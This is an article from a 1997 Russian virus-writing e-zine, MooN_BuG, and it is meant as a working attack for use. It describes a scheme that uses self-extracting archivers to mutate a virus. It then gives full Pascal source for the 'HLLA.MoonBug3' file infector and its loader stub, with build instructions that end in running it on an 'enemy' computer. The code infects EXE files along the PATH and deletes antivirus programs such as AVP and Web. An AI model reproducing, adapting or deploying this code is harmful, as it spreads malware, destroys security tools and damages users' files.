[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 3, Sep 1997 file 004
Полиморфики на ЯВУ
by RedArc
В последнее время все вирмейкеровское содружество ринулось создавать
вирусы нового поколения, так называемые FullMorphing и FullSimbioz. Эти вирусы
должны быть неуловимыми для антивирусов сегодняшнего поколения и возможно с
максимальными трудностями для излечения. Основные проблемы создания такого
вируса:
* создание интеллектуального Mutation Engine
* размеры вируса могут приближаться к размеру ядра Win95
* создание мощного эмулятора
Предлагается использовать подручные средства для частичного морфинга. В
качестве таких подручных средств возможно послужат обычные архиваторы, имеющие
очень интересную фичу - создание SFX-архивов. Таким образом, мутацию основного
тела вируса и программы жертвы можно возложить непосредственно на них. Почему
SFX? А потому, что такой мутант содержит в своем теле и декриптор -
разархиватор, которого может не оказаться на новом компьютере. Для того, чтобы
не только запустить на разархивирование архив, но и незаметно для пользователя
запустить нужный файл и файл-вирус необходимо создать дополнительную приблуду.
Эту приблуду нужно навешивать на SFX-архив. Разумеется, что приблуда и
окажется самым слабым звеном во всех этих извращениях.
Ну а теперь по порядку.
Так как на разных компьютерах могут находиться разные версии архиватора,
то при заражении одного и того же файла на разных компьютерах возможно байты
архива будут несовпадать. Для пущей надежности можно заюзать сразу несколько
архиваторов в нашем примере: ARJ, RAR, LHA, LHARC). Пытаемся найти случайный
из них по PATH. Если не найден, то для скорости переберем их по порядку. Если
опять неудача - такова жизнь, как говорят французы... Если случайный архиватор
найден, то архивируем файл-жертву и основное тело вируса, а архив превращаем в
SFX. Так как некоторые архиваторы позволяют выбирать методы сжатия, то это
тоже можно заюзать в рандомном режиме для пущей полиморфизации. Так как
желательно иметь как можно меньше постоянных участков кода в архиве не следует
сжимать EXE или COM паковщиками основное тело вируса. Это сделают архиваторы,
которые мы заюзаем в качестве Mutation Engine. Так как вирус писался на ЯВУ,
то единственное, что в нем можно быстро и безболезненно зарандомить - имя. Это
дает два преимущества: антивирус не сможет просто просматривать архив, так как
имя вируса не постоянно, ну и имя вносит в код дополнительный рандом.
Трудность - вирус-приблуда, должна знать, какой файл является вирусом, а какой
нет. Хранить имя в приблуде - слишком дорого может для нас обойтись, по этому
предложено в архив вписывать случайный файл с именем как у основного тела
вируса и с фиксированным не-EXE расширением. Таким образом, архиватор сам
шифрует вирус и программу, создает для них свой расшифровщик. При наличии
разных методов сжатия, разных версий архиваторов и, собственно, разных
архиваторов можно получить довольно стабильный морфинг, те не дать вирусу
сигнатуру.
Проблема возникает вот какая: SFX-архив может только распаковываться, а
нам еще и файлы нужно запускать из него. Это, разумеется, решается тем, что на
архив прикрепляется приблуда, которая при старте получит управление первой и
дальше процесс работы окажется под контролем вируса. Так как приблуда будет
сидеть сверху, то сразу возникает две траблы: приблуда может послужить
сигнатурой, антивирус может заметить, что на SFX-архиве чего то сидит.
Решается это так: вирус, после создания архива, рушит по рандомному закону
некоторую часть разархиватора, а приблуде некоторым образом сообщает, как это
можно восстановить. Для усложнения лечения можно воспользоваться предложенным
в PVT.VIRII методом неразрешенных опкодов. Те вирус забивает как то
startupcode разархиватора неразрешенными опкодами, а приблуда обрабатывает
ексцепшины. В нашем случае это не сделано из за сложности реализации на ЯВУ.
Предложенный ниже вирус просто переносит ~4 кБ начала файла-архива в его
хвост, а сам записывается в освободившееся место.
Теперь о приблуде. Ее тело точно не должно иметь сигнатур и лучше, если
ее алгоритм будет восприниматься неоднозначно, те нельзя было бы вычислить ее
по порядку характерных действий. Для этого можно воспользоваться сразу
несколькими полиморфными алгоритмами:
- процедуры не должны иметь фиксированные места в программе, те вирус,
при конструировании приблуды, должен менять процедуры местами в рандомном
порядке
- код приблуды должен быть полиморфизирован на предмет вышибания
сигнатур. Для этого нужно менять команды на синонимы и разбавлять их мусором
(самая сложная часть в вирусе). Для пущей надежности нужно пройти рандомное
количество раз по телу приблуды. О размере беспокоиться не стоит, см. ниже.
Чтобы наша приблуда не переросла размерами сами архивы ее лучше иметь в
некриптованном виде внутри архива, откуда вирус будет брать ее для последующих
заражений. Таким образом, приблуда будет всегда миниатюрной и Engine всегда
будет проще работать с известным кодом.
Все сказанное выше относится исключительно к вирусам на ASM'е. Для ЯВУ
сразу возникает туева хуча траблов с мутированием кода. Посему, либо нужно
иметь туеву хучу готовых приблуд и таскать их с вирусом, а нацеплять рандомно
выбранную, либо наш вирус будет не совсем полиморфным (мягко сказано).
Теперь, что имеем: вирус на ЯВУ и приблуда на ЯВУ. Разумеется одна ;) те
вирус не совсем полиморфен. Приблуду вирус таскает в своей заднице и каждый
раз ее оттудова вынимает. Юзаются 4 архиватора. Стоит ограничение на размеры
файлов из соображения скорости и заметности. Поиск по PATH, но не более 10
заражений за сеанс опять таки из соображения скорости. По дороге грохаем
некоторые антитвари. Архиваторы, юзаемые вирусом, опять же лучше не трогать во
избежание всяких там недоразумений.
Основное достоинство: не таскаем с собой крутонавороченных ангин с
космическими размерами, а так сказать, питаемся подножным кормом. До
фуллморфинга - один шаг, те осталось только фуллморфизировать приблуду,
которая на ASM'е должна быть довольно маленькая. Ну и конечно рушиние опкода
архиватора. Это я предоставляю вам, а сам займусь пока доводом до ума
независимой ангины. ;)
Есть еще одно большое достоинство: все можно перекомпилить под мастдай и
заюзать тамошние архиваторы. Получим вирус по форточки.
Для приведение в боеготовность необходимо:
- все откомпилить
- приблуду чем-нибудь ужать
- проставить в исходниках размер ужатой приблуды (MySize)
- еще раз откомпилить
- склеить приблуду с основным телом вируса
copy /b archiv.exe + prepare.exe virus.exe
Готово. Теперь можно запускать на компе неприятеля.
// В данном номере журнала MooN BuG файл с этим вирусом имеет название
// HLLA_PAS.EXE
=== Cut === основное тело вируса
{
Вирус HLLA.MoonBug3
(c) 1997 by RedArc // TAVC
}
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 11000,33333,33333}
PROGRAM Archiv;
{$I-}
USES DOS, WinDos;
CONST
Ident = 'You have ARJ-Self-Extract-Archive Virus (c) by RedArc // TAVC';
ARCHIVENAME : Array [1..4] OF PChar =
('ARJ.EXE', 'RAR.EXE', 'LHA.EXE', 'LHARC.EXE');
MySize = 4333;
MaxInfect = 10;
VAR
Archive_numb : Byte;
A : PChar;
I : Byte;
SR : SearchRec;
F, F1 : File;
FileName : String [12];
S : Array [0..fsPathName] of Char;
ARJFULLPATH : STRING [80];
Dir, Dir1 : DirStr;
Nam : NameStr;
Ext : ExtStr;
MyName : String [12];
OldName : String [12];
OldInt10h : Pointer;
P, P1 : Pointer;
RI : Word;
FileSizeF : Word;
Count : Word;
Size : LongInt;
{$F+}
PROCEDURE IntProc; INTERRUPT;
BEGIN
END;
{$F-}
FUNCTION FINDARCHIVE : Boolean;
BEGIN
Archive_numb := 1 + Random (4);
FileSearch(S, ARCHIVENAME [Archive_numb], GetEnvVar('PATH'));
WHILE S[0] = #0 DO BEGIN
FOR I := 1 TO 4 DO BEGIN
Archive_numb := I;
FileSearch(S, ARCHIVENAME [Archive_numb], GetEnvVar('PATH'));
IF S[0] <> #0 THEN Break;
END;
IF S[0] = #0 THEN BEGIN
FINDARCHIVE := True;
Exit;
END;
END;
ARJFULLPATH := '';
A := WinDos.FileExpand(S, S);
I := 0;
REPEAT
IF A [I] <> #0 THEN
ARJFULLPATH := ARJFULLPATH + A [I]
ELSE Break;
Inc (I);
UNTIL False;
FINDARCHIVE := False;
END;
PROCEDURE RandomName;
VAR
L : Byte;
I, J : Byte;
S : String [8];
BEGIN
REPEAT
L := 1 + Random (8);
S := '';
FOR I := 1 TO L DO BEGIN
J := 0;
WHILE (J < 65) OR (J > 90) DO
J := 1 + Random (90);
S := S + Chr (J);
END;
Assign (F, S + '.EXE');
ReSet (F);
IF IOResult <> 0 THEN Break;
Close (F);
UNTIL False;
Assign (F, MyName);
MyName := S + '.EXE';
Rename (F, MyName);
END;
FUNCTION FileCheck : Boolean;
VAR
Buff : Array [1..2] OF Byte;
Flag : Boolean;
BEGIN
Flag := True;
Assign (F, FileName);
FileMode := 0;
ReSet (F, 1);
Size := FileSize (F);
BlockRead (F, Buff, 2, RI);
IF Buff [1] <> Ord ('M') THEN Flag := False;
IF Buff [2] <> Ord ('Z') THEN Flag := False;
Close (F);
FileCheck := Flag;
END;
PROCEDURE InfectARJ;
BEGIN
SwapVectors;
Exec (ARJFULLPATH, 'A -JM -JE $$$$$$$$ '+FileName+' '+MyName+' '+Nam + '.$$$'+' > nul');
SwapVectors;
IF DosError <> 0 THEN Exit;
ASSIGN (F, FileName);
Erase (F);
ASSIGN (F, '$$$$$$$$.EXE');
Rename (F, FileName);
END;
PROCEDURE InfectRAR;
VAR
I : Byte;
S1 : String [1];
BEGIN
I := Random (6);
Str (I, S1);
SwapVectors;
Exec (ARJFULLPATH, 'A -y -se -cfg- -std -m'+S1+' -sfx $$$$$$$$ '+FileName+' '+MyName+' '+Nam + '.$$$'+' > nul');
SwapVectors;
IF DosError <> 0 THEN Exit;
ASSIGN (F, FileName);
Erase (F);
ASSIGN (F, '$$$$$$$$.EXE');
Rename (F, FileName);
END;
PROCEDURE InfectLHA;
BEGIN
SwapVectors;
Exec (ARJFULLPATH, 'A /mn $$$$$$$$.LZH '+FileName+' '+MyName+' '+Nam + '.$$$');
IF DosError <> 0 THEN Exit;
Exec (ARJFULLPATH, 'S /mn $$$$$$$$.LZH');
SwapVectors;
IF DosError <> 0 THEN Exit;
ASSIGN (F, '$$$$$$$$.LZH');
Erase (F);
ASSIGN (F, FileName);
Erase (F);
ASSIGN (F, '$$$$$$$$.EXE');
Rename (F, FileName);
ASSIGN (F, '$$$$$$$$.COM');
Rename (F, FileName);
END;
PROCEDURE SearchInCurrentDirectory;
procedure KilledFile;
begin
Assign (F, SR.Name);
Erase (F);
end;
BEGIN
DOS.FindFirst ('*.EXE', faArchive, SR);
WHILE DosError = 0 DO BEGIN
IF (SR.Name = FileName) THEN Break;
FileName := SR.Name;
IF (SR.Size > 30000) AND (SR.Size < 200000) THEN BEGIN
IF SR. Attr = faArchive THEN BEGIN
IF (SR.Name <> MyName) THEN BEGIN
IF FileCheck THEN BEGIN
REPEAT
IF (SR.Name = 'ARJ.EXE') OR
(SR.Name = 'RAR.EXE') OR
(SR.Name = 'LHA.EXE') OR
(SR.Name = 'LHARC.EXE') OR
(SR.Name = 'LZEXE.EXE') OR
(SR.Name = 'PKLITE.EXE') OR
(SR.Name = 'DIET.EXE') OR
(SR.Name = 'NC.EXE') OR
(SR.Name = 'NCMAIN.EXE') OR
(SR.Name = 'SMARTDRV.EXE')
THEN Break;
IF Pos ('WEB', SR.Name) <> 0 THEN BEGIN
KilledFile;
Break;
END;
IF Pos ('AVP', SR.Name) <> 0 THEN BEGIN
KilledFile;
Break;
END;
IF Pos ('INF', SR.Name) <> 0 THEN BEGIN
KilledFile;
Break;
END;
IF Pos ('AID', SR.Name) <> 0 THEN BEGIN
KilledFile;
Break;
END;
RandomName;
FSplit (MyName, Dir1, Nam, Ext);
Assign (F, Nam + '.$$$');
ReWrite (F,1);
BlockWrite (F, F, Length (Ident), RI);
Close (F);
CASE Archive_numb OF
1 : InfectARJ;
2 : InfectRAR;
3,4 : InfectLHA;
END;
Assign (F, Nam + '.$$$');
Erase (F);
Assign (F, FileName);
FileMode := 2;
ReSet (F, 1);
GetMem (P1, MySize);
BlockRead (F, P1^, MySize, RI);
IF FileSize (F) < Size THEN
Seek (F, Size)
ELSE
Seek (F, FileSize (F));
BlockWrite (F, P1^, MySize, RI);
Assign (F1, MyName);
ReSet (F1, 1);
Seek (F1, FileSize (F1) - MySize);
BlockRead (F1, P1^, MySize, RI);
Seek (F, 0);
BlockWrite (F, P1^, MySize, RI);
Close (F1);
Close (F);
FreeMem (P1, MySize);
Inc (Count);
WinDos. SetFAttr (F, faReadOnly);
UNTIL True;
END;
END;
END;
END;
IF Count > MaxInfect THEN Break;
DOS.FindNext (SR);
while FINDARCHIVE do begin
end;
END;
END;
PROCEDURE Search_From_PATH;
VAR
PS : String;
Home : String;
S : String;
Ch : Char;
I : Byte;
BEGIN
GetDir (0, Home);
PS := GetEnv ('PATH');
S := '';
I := 1;
REPEAT
IF I >= Length (PS)+1 THEN BEGIN
IF S <> '' THEN BEGIN
IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
ChDir (S);
IF IOResult = 0 THEN BEGIN
Assign (F, MyName);
ReWrite (F, 1);
BlockWrite (F, P^, FileSizeF, RI);
Close (F);
SearchInCurrentDirectory;
Assign (F, MyName);
Erase (F);
END
END;
Break;
END;
Ch := PS [I];
Inc (I);
IF Ch <> ';' THEN S := S + Ch ELSE BEGIN
IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
ChDir (S);
IF IOResult <> 0 THEN BEGIN
S := '';
Continue;
END;
SearchInCurrentDirectory;
S := '';
END;
IF Count > MaxInfect THEN Break;
UNTIL False;
ChDir (Home);
END;
BEGIN
Count := 0;
GetIntVec ($10, OldInt10h);
SetIntVec ($10, @IntProc);
Randomize;
Assign (F, ParamStr (0));
ReSet (F, 1);
FileSizeF := FileSize (F);
GetMem (P, FileSizeF);
BlockRead (F, P^, FileSizeF, RI);
Close (F);
FSplit (ParamStr (0), Dir, Nam, Ext);
MyName := Nam + Ext;
OldName := MyName;
IF FINDARCHIVE THEN EXIT;
SearchInCurrentDirectory;
Search_From_PATH;
Assign (F, MyName);
Erase (F);
FreeMem (P, FileSizeF);
Close (F);
SetIntVec ($10, OldInt10h);
IF Random (1000) = 666 THEN WriteLn (Ident);
END.
=== Cut ===
=== Cut === тело приблуды
{
Вирус HLLA.MoonBug3
(c) 1997 by RedArc // TAVC
}
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 11000,17000,17000}
PROGRAM PREPARE;
{$I-}
USES DOS;
CONST
MySize = 4333;
VAR
F : File;
P : Pointer;
RI : Word;
SR : SearchRec;
Dir : DirStr;
Nam : NameStr;
Ext : ExtStr;
Parameters : String [80];
OldInt10h : Pointer;
{$F+}
PROCEDURE IntProc; INTERRUPT;
BEGIN
END;
{$F-}
PROCEDURE Execute (S, S1 : String);
BEGIN
SwapVectors;
EXEC (S, S1);
SwapVectors;
END;
PROCEDURE GetParameters;
VAR
I : Byte;
BEGIN
Parameters := '';
FOR I := 1 TO ParamCount DO
Parameters := Parameters + ParamStr (I);
END;
BEGIN
GetIntVec ($10, OldInt10h);
SetIntVec ($10, @IntProc);
Execute (GetEnv ('COMSPEC'), '/c copy '+ParamStr (0) + ' $.EX_ >nul');
Assign (F, ParamStr (0));
Rename (F, '$.EXE');
SetFAttr (F, Archive);
FileMode := 2;
ReSet (F, 1);
Seek (F, FileSize (F) - MySize);
GetMem (P, MySize);
BlockRead (F, P^, MySize, RI);
Seek (F, 0);
BlockWrite (F, P^, MySize, RI);
FreeMem (P, MySize);
Seek (F, FileSize (F) - MySize);
Truncate (F);
Close (F);
Execute ('$.EXE','-y -m -n');
Erase (F);
GetParameters;
SetIntVec ($10, OldInt10h);
Execute (ParamStr (0), Parameters);
Assign (F, ParamStr (0));
Erase (F);
FindFirst ('*.$$$', AnyFile, SR);
FSplit (SR.Name, Dir, Nam, Ext);
Assign (F, SR.Name);
Erase (F);
Execute (Nam + '.EXE', '');
Assign (F, '$.EX_');
Rename (F, ParamStr (0));
END.
=== Cut ===